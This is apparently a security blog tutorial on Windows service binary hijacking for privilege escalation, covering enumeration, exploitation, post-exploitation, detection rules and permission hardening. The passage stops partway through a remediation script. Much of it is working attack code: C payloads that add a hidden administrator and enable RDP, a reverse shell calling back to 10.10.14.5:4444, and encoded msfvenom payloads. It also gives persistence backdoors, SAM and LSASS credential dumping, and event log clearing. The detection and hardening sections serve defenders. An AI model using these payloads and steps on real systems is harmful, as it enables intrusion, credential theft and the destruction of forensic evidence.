Skip to Content
Windows service binary hijacking showing writable service exploitation and privilege escalation

Windows Service Binary Hijacking for Privilege Escalation

Exploiting weak permissions on Windows service binaries for privilege escalation, with enumeration, exploitation, detection and hardening.

Feb 2, 2026
Updated Nov 22, 2026
46 min read

Introduction

Service binary hijacking is a privilege escalation technique that abuses weak file system permissions on a Windows service executable. If a low-privileged user can write to the service binary or its parent directory, they can replace the executable with their own. When the service restarts or the system reboots, the replacement runs as the service account, which is often LocalSystem.

DLL hijacking and unquoted service paths get a file loaded next to the service. This technique replaces the service executable itself. The steps are: find a service that runs with high privileges, confirm write access to its binary, replace it, and get the service to start. It is common in enterprise environments because installers and admins set loose permissions when software is deployed and nobody checks afterwards.

It usually turns up in:

  • third-party applications installed with incorrect permissions
  • in-house services deployed without hardening
  • legacy software migrated from older Windows versions
  • deployment scripts written to get the software working, with permissions never tightened afterwards
  • development and testing services promoted to production without review

Where to look first

Third-party applications are the usual source of writable service binaries. XAMPP, Jenkins and custom backup solutions are frequent offenders, development and staging systems tend to have weaker permissions, and software from major vendors occasionally ships misconfigured too.

It is worth checking early in post-exploitation because the exploit is reliable when the permissions are wrong.

Technical background

Windows service architecture

Windows services are long-running executables that run in the background without user interaction.

The Service Control Manager (SCM, services.exe) manages all Windows services. It handles:

  • Starting and stopping services
  • Querying service status
  • Configuring service parameters
  • Managing service dependencies
  • Enforcing security policies

A service runs under one of several account types, and the account decides what a hijacked binary can do:

Account typePrivilege levelTypical useSecurity impact
LocalSystemHighest system privileges, no passwordCore Windows services, driversComplete system control, kernel access
LocalServiceReduced privileges, network anonymous identityLimited local functionalityLocal file system, registry access
NetworkServiceNetwork authentication capabilitiesWeb services, SQL ServerDomain authentication, network resources
Custom domain accountConfigured privilegesEnterprise applicationsDepends on the account's permissions
Virtual service accountIsolated, auto-managedModern applicationsScoped to specific service
Group Managed Service Account (gMSA)Domain-managed, automatic password rotationEnterprise servicesPassword managed and rotated by the domain

Service binary permissions

Windows controls file system access with Access Control Lists (ACLs). To spot an exploitable service you need to read the permission masks that icacls prints.

Permission masks

icacls output uses these abbreviated permission masks:

MaskPermissionExploitation relevance
(F)Full ControlComplete control, read, write, execute, delete, change permissions
(M)ModifyWrite and delete files, sufficient for binary replacement
(RX)Read & ExecuteNormal user access, cannot exploit
(R)Read-onlyView contents only, cannot exploit
(W)Write-onlyRare configuration, potentially exploitable

The identities that show up in vulnerable configurations:

IdentityWho it covers
EveryoneEvery user on the system
BUILTIN\UsersAll authenticated users
NT AUTHORITY\Authenticated UsersAny logged-in user
NT AUTHORITY\InteractiveUsers logged in locally or via RDP
BUILTIN\Power UsersLegacy group with extra privileges

Inheritance flags control how a permission propagates:

FlagNameEffect
(OI)Object InheritFiles created in the directory inherit the permission
(CI)Container InheritSubdirectories inherit the permission
(IO)Inherit OnlyApplies to children, not the current object
(NP)No PropagateNot propagated to children

An example vulnerable configuration:

C:\CustomApps\MyService\service.exe
    BUILTIN\Users:(I)(F)
    BUILTIN\Users:(OI)(CI)(F)

This grants Full Control to all users, so any of them can replace the binary.

Attack prerequisites

Service binary hijacking needs four things:

  1. Write, Modify or Full Control access to the service binary or its parent directory
  2. A service that runs with higher privileges than the attacker (typically LocalSystem or an administrator account)
  3. A way to restart the service, or the patience to wait for a reboot
  4. Shell access to the target system (user-level is enough)

Why this happens

Writable service binaries come from:

  • application installers that grant broad permissions for "compatibility"
  • administrators copying files into place without considering ACLs
  • parent directory permissions that propagate to the service binary
  • old applications that keep insecure permissions after a migration
  • development or test configurations deployed to production

The service runs normally with these permissions, so nobody notices the misconfiguration until someone exploits it.

Detection and enumeration

PowerShell enumeration

Find vulnerable services with PowerShell:

# Method 1: Basic service enumeration with permission checks
Get-CimInstance -ClassName win32_service | ForEach-Object {
    $serviceName = $_.Name
    $servicePath = ($_.PathName -split ' -')[0] -replace '"', ''
    $serviceAccount = $_.StartName
    $serviceState = $_.State

    if (Test-Path $servicePath -ErrorAction SilentlyContinue) {
        try {
            $acl = Get-Acl $servicePath -ErrorAction Stop
            $writable = $acl.Access | Where-Object {
                ($_.FileSystemRights -match 'Write|FullControl|Modify') -and
                ($_.AccessControlType -eq 'Allow') -and
                ($_.IdentityReference -match 'Users|Everyone|Authenticated')
            }

            if ($writable) {
                [PSCustomObject]@{
                    ServiceName = $serviceName
                    ServicePath = $servicePath
                    ServiceAccount = $serviceAccount
                    ServiceState = $serviceState
                    VulnerableACE = ($writable | ForEach-Object { "$($_.IdentityReference): $($_.FileSystemRights)" }) -join '; '
                }
            }
        }
        catch { }
    }
}

# Method 2: Check directory permissions (parent directory writable = binary replaceable)
Get-CimInstance -ClassName win32_service | ForEach-Object {
    $servicePath = ($_.PathName -split ' -')[0] -replace '"', ''
    $serviceDir = Split-Path $servicePath -Parent

    if (Test-Path $serviceDir -ErrorAction SilentlyContinue) {
        try {
            $acl = Get-Acl $serviceDir -ErrorAction Stop
            $writable = $acl.Access | Where-Object {
                ($_.FileSystemRights -match 'Write|FullControl|Modify') -and
                ($_.AccessControlType -eq 'Allow') -and
                ($_.IdentityReference -match 'Users|Everyone|Authenticated')
            }

            if ($writable) {
                [PSCustomObject]@{
                    ServiceName = $_.Name
                    ServiceDirectory = $serviceDir
                    ServiceAccount = $_.StartName
                    DirectoryPermission = ($writable | Select-Object -First 1).FileSystemRights
                    Identity = ($writable | Select-Object -First 1).IdentityReference
                }
            }
        }
        catch { }
    }
} | Format-Table -AutoSize

# Method 3: Filter for high-value targets (LocalSystem services only)
Get-CimInstance -ClassName win32_service |
    Where-Object { $_.StartName -eq 'LocalSystem' -or $_.StartName -like '*Admin*' } |
    ForEach-Object {
        $servicePath = ($_.PathName -split ' -')[0] -replace '"', ''

        if (Test-Path $servicePath -ErrorAction SilentlyContinue) {
            $currentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name
            try {
                # Test actual write capability
                $testFile = "$servicePath.test"
                [System.IO.File]::WriteAllText($testFile, "test")
                Remove-Item $testFile -Force -ErrorAction SilentlyContinue

                [PSCustomObject]@{
                    ServiceName = $_.Name
                    ServicePath = $servicePath
                    ServiceAccount = $_.StartName
                    WriteTest = "SUCCESS"
                    CurrentUser = $currentUser
                }
            }
            catch {
                # Silently skip non-writable
            }
        }
    }

Command line enumeration

Where PowerShell is blocked, use cmd:

:: Enumerate all services
sc query state= all > services.txt

:: Check each service binary permissions
for /f "tokens=2 delims=:" %a in ('sc query state^= all ^| findstr /i "SERVICE_NAME"') do @(
    echo Checking: %a
    sc qc %a | findstr /i "BINARY_PATH_NAME"
)

:: Using wmic for service paths
wmic service get name,pathname,startname,startmode | findstr /i /v "C:\Windows"

:: Check specific service binary permissions
icacls "C:\Program Files\VulnerableApp\service.exe"

:: Check directory permissions
icacls "C:\Program Files\VulnerableApp"

Automated enumeration tools

# PowerUp - Part of PowerSploit
# Download: https://github.com/PowerShellMafia/PowerSploit

# Load module
Import-Module .\PowerUp.ps1

# Run all checks (includes service binary checks)
Invoke-AllChecks

# Specific service binary permission check
Get-ModifiableServiceFile

# Output example:
# ServiceName      : VulnerableService
# Path             : C:\Apps\Vulnerable\service.exe
# ModifiableFile   : C:\Apps\Vulnerable\service.exe
# ModifiableFilePermissions: {WriteOwner, Delete, WriteAttributes, Synchronize...}
# ModifiableFileIdentityReference: BUILTIN\Users
# StartName        : LocalSystem
# AbuseFunction    : Install-ServiceBinary -Name 'VulnerableService' -Path <HijackPath>
# CanRestart       : True

# Auto-exploitation (use with caution)
Invoke-ServiceAbuse -Name 'VulnerableService' -UserName 'backdoor' -Password 'P@ssw0rd123!'

Manual permission analysis

Check the permissions on the services you identified in detail:

# Comprehensive permission analysis script
function Test-ServiceBinaryWritable {
    param(
        [string]$ServiceName
    )

    $service = Get-CimInstance -ClassName win32_service -Filter "Name='$ServiceName'"
    if (-not $service) {
        Write-Host "[-] Service not found: $ServiceName" -ForegroundColor Red
        return
    }

    $servicePath = ($service.PathName -split ' -')[0] -replace '"', ''
    $serviceDir = Split-Path $servicePath -Parent

    Write-Host "`n[*] Analyzing Service: $ServiceName" -ForegroundColor Cyan
    Write-Host "    Binary: $servicePath" -ForegroundColor Gray
    Write-Host "    Account: $($service.StartName)" -ForegroundColor Gray
    Write-Host "    State: $($service.State)" -ForegroundColor Gray
    Write-Host "    Start Mode: $($service.StartMode)" -ForegroundColor Gray

    # Check binary permissions
    if (Test-Path $servicePath) {
        Write-Host "`n[*] Binary Permissions:" -ForegroundColor Cyan
        $acl = Get-Acl $servicePath
        $acl.Access | Where-Object {
            $_.AccessControlType -eq 'Allow'
        } | ForEach-Object {
            $color = if ($_.FileSystemRights -match 'Write|Modify|FullControl' -and
                         $_.IdentityReference -match 'Users|Everyone|Authenticated') {
                'Red'
            } else {
                'Gray'
            }
            Write-Host "    $($_.IdentityReference): $($_.FileSystemRights)" -ForegroundColor $color
        }
    }

    # Check directory permissions
    if (Test-Path $serviceDir) {
        Write-Host "`n[*] Directory Permissions ($serviceDir):" -ForegroundColor Cyan
        $dirAcl = Get-Acl $serviceDir
        $dirAcl.Access | Where-Object {
            $_.AccessControlType -eq 'Allow'
        } | ForEach-Object {
            $color = if ($_.FileSystemRights -match 'Write|Modify|FullControl' -and
                         $_.IdentityReference -match 'Users|Everyone|Authenticated') {
                'Red'
            } else {
                'Gray'
            }
            Write-Host "    $($_.IdentityReference): $($_.FileSystemRights)" -ForegroundColor $color
        }
    }

    # Check restart capability
    Write-Host "`n[*] Restart Capability:" -ForegroundColor Cyan
    try {
        $canStop = (Get-Service -Name $ServiceName).CanStop
        $canRestart = $canStop

        if ($canRestart) {
            Write-Host "    Can restart: YES" -ForegroundColor Green
        } else {
            Write-Host "    Can restart: NO (may require reboot)" -ForegroundColor Yellow
        }
    }
    catch {
        Write-Host "    Can restart: UNKNOWN" -ForegroundColor Yellow
    }

    # Test actual write access
    Write-Host "`n[*] Write Access Test:" -ForegroundColor Cyan
    try {
        $backupPath = "$servicePath.bak"
        Copy-Item $servicePath $backupPath -ErrorAction Stop
        Remove-Item $backupPath -Force -ErrorAction Stop
        Write-Host "    Binary is WRITABLE" -ForegroundColor Red
        Write-Host "    [!] EXPLOITABLE!" -ForegroundColor Red -BackgroundColor Black
    }
    catch {
        Write-Host "    Binary is NOT writable" -ForegroundColor Green
    }
}

# Usage
Test-ServiceBinaryWritable -ServiceName "VulnerableService"

Service restart permission check

Check whether you can restart the service:

# Check service control permissions
function Get-ServiceRestartPermission {
    param([string]$ServiceName)

    # Get service security descriptor
    $sdString = & sc.exe sdshow $ServiceName 2>&1

    if ($LASTEXITCODE -ne 0) {
        Write-Host "[-] Cannot query service: $ServiceName" -ForegroundColor Red
        return
    }

    Write-Host "[*] Service Security Descriptor:" -ForegroundColor Cyan
    Write-Host "    $sdString" -ForegroundColor Gray

    # Parse SDDL
    # RP = SERVICE_START, WP = SERVICE_STOP
    if ($sdString -match 'RP' -and $sdString -match 'WP') {
        Write-Host "[+] Current user can START and STOP service" -ForegroundColor Green
    }
    elseif ($sdString -match 'RP') {
        Write-Host "[~] Current user can START service only" -ForegroundColor Yellow
    }
    elseif ($sdString -match 'WP') {
        Write-Host "[~] Current user can STOP service only" -ForegroundColor Yellow
    }
    else {
        Write-Host "[-] Current user cannot control service" -ForegroundColor Red
        Write-Host "    Exploitation requires system reboot" -ForegroundColor Yellow
    }

    # Direct test
    try {
        $service = Get-Service -Name $ServiceName -ErrorAction Stop
        if ($service.Status -eq 'Running') {
            Stop-Service -Name $ServiceName -WhatIf -ErrorAction Stop
            Write-Host "[+] Stop permission: CONFIRMED" -ForegroundColor Green
        }
        Start-Service -Name $ServiceName -WhatIf -ErrorAction Stop
        Write-Host "[+] Start permission: CONFIRMED" -ForegroundColor Green
    }
    catch {
        Write-Host "[-] Service control test failed: $($_.Exception.Message)" -ForegroundColor Red
    }
}

# Usage
Get-ServiceRestartPermission -ServiceName "VulnerableService"

Exploitation techniques

Basic exploitation workflow

Identify a vulnerable service

Use the enumeration tools to find services with writable binaries running as LocalSystem or an administrator account.

Back up the original binary

Keep a copy of the original service executable so you can restore it.

Create the payload

Generate or compile a binary that matches the architecture of the target system.

Replace the service binary

Copy the payload over the legitimate service binary.

Restart the service

Stop and start the service to trigger execution, or wait for a system reboot.

Verify privilege escalation

Confirm it worked by logging in with the backdoor account or catching the SYSTEM shell.

Restore the original binary (optional)

Put the original binary back so the service works normally again.

Payload creation

User account backdoor

A payload that creates an administrative user:

// adduser.c - Creates hidden administrative account
#include <stdlib.h>
#include <stdio.h>

int main() {
    // Create user account
    int result = system("net user backdoor P@ssw0rd123! /add");
    if (result != 0) {
        return 1;
    }

    // Add to administrators group
    result = system("net localgroup administrators backdoor /add");
    if (result != 0) {
        return 1;
    }

    // Hide from login screen
    system("reg add \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList\" /v backdoor /t REG_DWORD /d 0 /f");

    // Enable RDP (if desired)
    system("reg add \"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f");
    system("netsh advfirewall firewall set rule group=\"remote desktop\" new enable=Yes");

    return 0;
}

Compile on Linux:

# 64-bit Windows
x86_64-w64-mingw32-gcc adduser.c -o service.exe

# 32-bit Windows
i686-w64-mingw32-gcc adduser.c -o service.exe

# Verify architecture
file service.exe

Reverse shell payload

An interactive shell:

// reverse_shell.c - Windows reverse TCP shell
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#include <stdio.h>

#pragma comment(lib, "Ws2_32.lib")

#define ATTACKER_IP "10.10.14.5"
#define ATTACKER_PORT 4444

int main() {
    WSADATA wsaData;
    SOCKET sock;
    struct sockaddr_in server;
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    char recv_buffer[1024];

    // Initialize Winsock
    WSAStartup(MAKEWORD(2, 2), &wsaData);

    // Create socket
    sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
    if (sock == INVALID_SOCKET) {
        return 1;
    }

    // Configure server address
    server.sin_family = AF_INET;
    server.sin_port = htons(ATTACKER_PORT);
    server.sin_addr.s_addr = inet_addr(ATTACKER_IP);

    // Connect to attacker
    if (connect(sock, (struct sockaddr *)&server, sizeof(server)) == SOCKET_ERROR) {
        closesocket(sock);
        WSACleanup();
        return 1;
    }

    // Prepare process startup info
    memset(&si, 0, sizeof(si));
    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESTDHANDLES;
    si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sock;

    // Spawn cmd.exe with redirected I/O
    CreateProcess(
        NULL,
        "cmd.exe",
        NULL,
        NULL,
        TRUE,
        0,
        NULL,
        NULL,
        &si,
        &pi
    );

    // Wait for process to complete
    WaitForSingleObject(pi.hProcess, INFINITE);

    // Cleanup
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    closesocket(sock);
    WSACleanup();

    return 0;
}

Compile it and set up the listener:

# Compile
x86_64-w64-mingw32-gcc reverse_shell.c -o service.exe -lws2_32 -s

# Start listener
nc -lvnp 4444

# Or use multi/handler in Metasploit
msfconsole -q -x "use exploit/multi/handler; set payload windows/shell/reverse_tcp; set LHOST 10.10.14.5; set LPORT 4444; exploit"

MSFVenom payloads

Generate payloads with Metasploit:

# Basic reverse TCP shell
msfvenom -p windows/x64/shell_reverse_tcp \
    LHOST=10.10.14.5 \
    LPORT=4444 \
    -f exe \
    -o service.exe

# Meterpreter reverse TCP
msfvenom -p windows/x64/meterpreter/reverse_tcp \
    LHOST=10.10.14.5 \
    LPORT=4444 \
    -f exe \
    -o service.exe

# Reverse HTTPS (evades some network inspection)
msfvenom -p windows/x64/meterpreter/reverse_https \
    LHOST=10.10.14.5 \
    LPORT=443 \
    -f exe \
    -o service.exe

# Encoded payload (basic AV evasion)
msfvenom -p windows/x64/shell_reverse_tcp \
    LHOST=10.10.14.5 \
    LPORT=4444 \
    -f exe \
    -e x64/xor_dynamic \
    -i 10 \
    -o service.exe

# Start listener
msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST 10.10.14.5; set LPORT 4444; exploit"

Complete exploitation example

A walkthrough from detection to exploitation:

# Step 1: Enumerate vulnerable services
PS C:\> Get-CimInstance -ClassName win32_service |
    Where-Object { $_.StartName -eq 'LocalSystem' } |
    ForEach-Object {
        $path = ($_.PathName -split ' -')[0] -replace '"', ''
        if (Test-Path $path -ErrorAction SilentlyContinue) {
            try {
                $testFile = "$path.test"
                [System.IO.File]::WriteAllText($testFile, "test")
                Remove-Item $testFile -Force
                [PSCustomObject]@{
                    Name = $_.Name
                    Path = $path
                    State = $_.State
                }
            }
            catch { }
        }
    }

# Output:
# Name              Path                                    State
# ----              ----                                    -----
# VulnService       C:\Apps\VulnService\service.exe        Running

# Step 2: Analyze service details
PS C:\> $service = Get-CimInstance -ClassName win32_service -Filter "Name='VulnService'"
PS C:\> $service | Select-Object Name, StartName, State, StartMode, PathName

# Name        : VulnService
# StartName   : LocalSystem
# State       : Running
# StartMode   : Auto
# PathName    : C:\Apps\VulnService\service.exe

# Step 3: Check permissions
PS C:\> icacls "C:\Apps\VulnService\service.exe"

# C:\Apps\VulnService\service.exe BUILTIN\Users:(F)
#                                  NT AUTHORITY\SYSTEM:(F)
#                                  BUILTIN\Administrators:(F)

# Step 4: Backup original binary
PS C:\> Copy-Item "C:\Apps\VulnService\service.exe" -Destination "C:\Users\user\service.exe.bak"

# Step 5: Transfer malicious payload
# On attacker machine:
# python3 -m http.server 8080

# On target:
PS C:\> Invoke-WebRequest -Uri http://10.10.14.5:8080/service.exe -OutFile C:\Users\user\malicious.exe

# Step 6: Replace service binary
PS C:\> Stop-Service -Name VulnService
PS C:\> Copy-Item C:\Users\user\malicious.exe -Destination "C:\Apps\VulnService\service.exe" -Force

# Step 7: Start service
PS C:\> Start-Service -Name VulnService

# Step 8: Verify exploitation
# If using adduser payload:
PS C:\> net user backdoor
# User name                    backdoor
# Full Name
# Local Group Memberships      *Administrators       *Users

# If using reverse shell, check listener

On the attacker machine, with the reverse shell:

# Start listener
└─$ nc -lvnp 4444
listening on [any] 4444 ...

# After service starts
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.45] 49826
Microsoft Windows [Version 10.0.19044.1234]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                    State
============================= ============================== ========
SeAssignPrimaryTokenPrivilege Replace a process level token  Enabled
SeIncreaseQuotaPrivilege      Adjust memory quotas           Enabled
SeSecurityPrivilege           Manage auditing and security   Enabled
SeTakeOwnershipPrivilege      Take ownership of files        Enabled
SeLoadDriverPrivilege         Load and unload device drivers Enabled
[...]

Alternative exploitation methods

// proxy.c - Calls original binary after executing payload
#include <windows.h>
#include <stdio.h>

int main() {
    // Execute payload first
    system("net user hacker P@ssw0rd! /add");
    system("net localgroup administrators hacker /add");

    // Call original service binary
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi;

    CreateProcess(
        "C:\\Apps\\VulnService\\service_original.exe",
        NULL,
        NULL,
        NULL,
        FALSE,
        0,
        NULL,
        NULL,
        &si,
        &pi
    );

    // Wait and cleanup
    WaitForSingleObject(pi.hProcess, INFINITE);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    return 0;
}

Deployment:

# Rename original
Move-Item "C:\Apps\VulnService\service.exe" "C:\Apps\VulnService\service_original.exe"

# Deploy proxy
Copy-Item proxy.exe "C:\Apps\VulnService\service.exe"

# Service continues functioning normally
Restart-Service VulnService

Post-Exploitation

Establishing persistence

With SYSTEM access, set up persistence:

# 1. Create hidden administrative account
net user svcadmin "P@ssw0rd123!ComplexAndLong" /add /y
net localgroup administrators svcadmin /add

# Hide from login screen and user enumeration
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v svcadmin /t REG_DWORD /d 0 /f

# 2. Create additional service backdoor
sc create "WindowsUpdateService" binPath= "C:\Windows\System32\backdoor.exe" start= auto
sc description "WindowsUpdateService" "Provides update management services"

# 3. Registry Run key
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityUpdate" /t REG_SZ /d "C:\Windows\System32\backdoor.exe" /f

# 4. Scheduled task (survives reboots)
schtasks /create /tn "Microsoft\Windows\UpdateOrchestrator\Backup Scan" /tr "C:\Windows\System32\backdoor.exe" /sc onstart /ru SYSTEM /f

# 5. WMI event subscription
$filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
    Name = "SystemUpdate"
    EventNamespace = "root\cimv2"
    QueryLanguage = "WQL"
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}

$consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{
    Name = "SystemUpdateConsumer"
    CommandLineTemplate = "C:\Windows\System32\backdoor.exe"
}

Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{
    Filter = $filter
    Consumer = $consumer
}

Credential harvesting

Extract credentials for lateral movement:

# Dump SAM database
reg save HKLM\SAM C:\Windows\Temp\sam.save
reg save HKLM\SYSTEM C:\Windows\Temp\system.save
reg save HKLM\SECURITY C:\Windows\Temp\security.save

# Extract NTLM hashes (using Impacket on attacker machine)
# impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL

# Dump LSASS memory (if AV permits)
# Upload Mimikatz or use built-in tools
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <LSASS_PID> C:\Windows\Temp\lsass.dmp full

# Search for credentials in common locations
Get-ChildItem C:\ -Recurse -Include *.txt,*.ini,*.config,*.xml -ErrorAction SilentlyContinue | Select-String -Pattern "password"

# Check for stored credentials
cmdkey /list

Covering tracks

Commands that reduce the forensic evidence left behind:

# Clear event logs
wevtutil cl System
wevtutil cl Security
wevtutil cl Application

# Delete specific event entries (requires script)
Get-EventLog -LogName Security | Where-Object {$_.EventID -eq 4688 -and $_.TimeGenerated -gt (Get-Date).AddHours(-1)} | ForEach-Object { Remove-EventLog -LogName Security -Source $_.Source -InstanceId $_.InstanceId }

# Remove file artifacts
Remove-Item C:\Windows\Temp\*.exe -Force
Remove-Item C:\Windows\Temp\*.dll -Force
Remove-Item C:\Users\*\AppData\Local\Temp\*.exe -Force

# Clear PowerShell history
Remove-Item (Get-PSReadlineOption).HistorySavePath -ErrorAction SilentlyContinue

# Timestomp replaced binary (requires external tool)
# Restore original timestamps to service binary

Detection and monitoring

Event log monitoring

Monitor for service binary modification:

# Enable file system auditing on service directories
$path = "C:\Program Files"
$acl = Get-Acl $path
$auditRule = New-Object System.Security.AccessControl.FileSystemAuditRule(
    "Everyone",
    "Write,Delete,DeleteSubdirectoriesAndFiles,ChangePermissions,TakeOwnership",
    "ContainerInherit,ObjectInherit",
    "None",
    "Success,Failure"
)
$acl.AddAuditRule($auditRule)
Set-Acl $path $acl

# Query Security event log for file modifications
Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4663
} | Where-Object {
    $_.Properties[6].Value -match 'service\.exe' -and
    $_.Properties[8].Value -match 'WriteData|DELETE'
} | Select-Object TimeCreated, @{N='User';E={$_.Properties[1].Value}}, @{N='File';E={$_.Properties[6].Value}}

# Monitor service start/stop events
Get-WinEvent -FilterHashtable @{
    LogName='System'
    ID=7036,7040
} | Select-Object TimeCreated, Message | Format-Table -Wrap

# Detect service binary changes
Get-WinEvent -FilterHashtable @{
    LogName='System'
    ID=7045
} | Where-Object {
    $_.Message -notmatch 'C:\\Windows'
}

File integrity monitoring

Set up FIM for critical service binaries:

# Create baseline of all service binaries
$baseline = Get-CimInstance -ClassName win32_service | ForEach-Object {
    $path = ($_.PathName -split ' -')[0] -replace '"', ''
    if (Test-Path $path -ErrorAction SilentlyContinue) {
        $hash = (Get-FileHash $path -Algorithm SHA256).Hash
        [PSCustomObject]@{
            ServiceName = $_.Name
            Path = $path
            Hash = $hash
            LastModified = (Get-Item $path).LastWriteTime
        }
    }
} | Export-Csv C:\Security\service_baseline.csv -NoTypeInformation

# Scheduled integrity check
$baseline = Import-Csv C:\Security\service_baseline.csv
$alerts = @()

foreach ($entry in $baseline) {
    if (Test-Path $entry.Path) {
        $currentHash = (Get-FileHash $entry.Path -Algorithm SHA256).Hash
        if ($currentHash -ne $entry.Hash) {
            $alerts += [PSCustomObject]@{
                ServiceName = $entry.ServiceName
                Path = $entry.Path
                BaselineHash = $entry.Hash
                CurrentHash = $currentHash
                Status = "MODIFIED"
            }
        }
    }
    else {
        $alerts += [PSCustomObject]@{
            ServiceName = $entry.ServiceName
            Path = $entry.Path
            Status = "DELETED"
        }
    }
}

if ($alerts.Count -gt 0) {
    # Send alert
    Send-MailMessage -To "security@company.com" -From "monitor@company.com" -Subject "Service Binary Integrity Alert" -Body ($alerts | ConvertTo-Html) -SmtpServer "smtp.company.com" -BodyAsHtml
}

SIEM detection rules

Splunk query for service binary exploitation:

index=windows (EventCode=4663 OR EventCode=4670 OR EventCode=7045)
| eval service_path=case(
    EventCode=4663, Object_Name,
    EventCode=7045, Service_File_Name,
    true(), null()
  )
| where match(service_path, "(?i)\\\\service\\.exe$") AND NOT match(service_path, "(?i)^C:\\\\Windows\\\\")
| eval action=case(
    EventCode=4663 AND match(Accesses, "WriteData"), "File_Modified",
    EventCode=4670, "Permission_Changed",
    EventCode=7045, "Service_Created",
    true(), "Unknown"
  )
| stats values(action) as actions, count by service_path, user
| where count > 0

Elastic Stack (EQL) detection:

sequence by host.name with maxspan=1h
  [file where event.type == "change" and
   file.path : ("?:\\Program Files\\*\\*.exe", "?:\\Program Files (x86)\\*\\*.exe") and
   not file.path : "?:\\Program Files\\Windows*"]
  [process where event.type == "start" and
   process.parent.name == "services.exe" and
   process.executable : file.path]

Sigma rule

title: Service Binary Hijacking Detection
id: a5c1de3c-f8d3-4e6b-9c7e-2a1f3b4c5d6e
status: experimental
description: Detects potential service binary hijacking through file modifications followed by service execution
references:
    - https://attack.mitre.org/techniques/T1574/010/
tags:
    - attack.privilege_escalation
    - attack.persistence
    - attack.t1574.010
logsource:
    product: windows
    service: security
detection:
    selection_modification:
        EventID: 4663
        ObjectType: 'File'
        AccessMask: '0x2'  # Write access
    selection_path:
        ObjectName|contains:
            - '\service.exe'
            - '\svchost.exe'
            - '.exe'
    filter:
        ObjectName|startswith: 'C:\Windows\'
    condition: selection_modification and selection_path and not filter
falsepositives:
    - Legitimate software updates
    - Administrative maintenance
level: high

Mitigation and remediation

Immediate remediation

Fix vulnerable service binary permissions:

# Automated remediation script
$vulnerableServices = Get-CimInstance -ClassName win32_service | ForEach-Object {
    $servicePath = ($_.PathName -split ' -')[0] -replace '"', ''
    if (Test-Path $servicePath -ErrorAction SilentlyContinue) {
        $acl = Get-Acl $servicePath -ErrorAction SilentlyContinue
        if ($acl) {
            $weakACL = $acl.Access | Where-Object {
                ($_.FileSystemRights -match 'Write|Modify|FullControl') -and
                ($_.AccessControlType -eq 'Allow') -and
                ($_.IdentityReference -match 'Users|Everyone|Authenticated')
            }

            if ($weakACL) {
                [PSCustomObject]@{
                    ServiceName = $_.Name
                    ServicePath = $servicePath
                    WeakACE = $weakACL
                }
            }
        }
    }
}

# Fix permissions for each vulnerable service
foreach ($service in $vulnerableServices) {
    Write-Host "Fixing: $($service.ServicePath)" -ForegroundColor Yellow

    # Remove weak permissions
    icacls $service.ServicePath /remove "Users" /t
    icacls $service.ServicePath /remove "Everyone" /t
    icacls $service.ServicePath /remove "Authenticated Users" /t

    # Set proper permissions
    icacls $service.ServicePath /grant:r "SYSTEM:(F)"
    icacls $service.ServicePath /grant:r "Administrators:(F)"
    icacls $service.ServicePath /grant:r "Users:(RX)"

    # Verify fix
    $newACL = Get-Acl $service.ServicePath
    $stillWeak = $newACL.Access | Where-Object {
        ($_.FileSystemRights -match 'Write|Modify|FullControl') -and
        ($_.IdentityReference -match 'Users|Everyone|Authenticated')
    }

    if ($stillWeak) {
        Write-Host "FAILED: Still vulnerable" -ForegroundColor Red
    }
    else {
        Write-Host "SUCCESS: Permissions hardened" -ForegroundColor Green
    }
}

Bulk remediation with logging

# Comprehensive remediation with backup and rollback
$logFile = "C:\Remediation\service_permissions_$(Get-Date -Format 'yyyyMMdd_HHmmss').log"
$backupFile = "C:\Remediation\service_acls_backup_$(Get-Date -Format 'yyyyMMdd_HHmmss').csv"

# Backup current ACLs
$backup = Get-CimInstance -ClassName win32_service | ForEach-Object {
    $servicePath = ($_.PathName -split ' -')[0] -replace '"', ''
    if (Test-Path $servicePath -ErrorAction SilentlyContinue) {
        $acl = Get-Acl $servicePath -ErrorAction SilentlyContinue
        [PSCustomObject]@{
            ServiceName = $_.Name
            ServicePath = $servicePath
            SDDL = $acl.Sddl
        }
    }
} | Export-Csv $backupFile -NoTypeInformation

Write-Host "Backup saved: $backupFile" -ForegroundColor Cyan

# Identify and fix vulnerable services
$results = @()
$vulnerable = Get-CimInstance -ClassName win32_service | ForEach-Object {
    $servicePath = ($_.PathName -split ' -')[0] -replace '"', ''
    $serviceDir = Split-Path $servicePath -Parent

    if (Test-Path $servicePath -ErrorAction SilentlyContinue) {
        $acl = Get-Acl $servicePath -ErrorAction SilentlyContinue
        if ($acl) {
            $weakACL = $acl.Access | Where-Object {
                ($_.FileSystemRights -match 'Write|Modify|FullControl') -and
                ($_.AccessControlType -eq 'Allow') -and
                ($_.IdentityReference -match 'Users|Everyone|Authenticated')
            }

            if ($weakACL) {
                try {
                    # Remove dangerous permissions
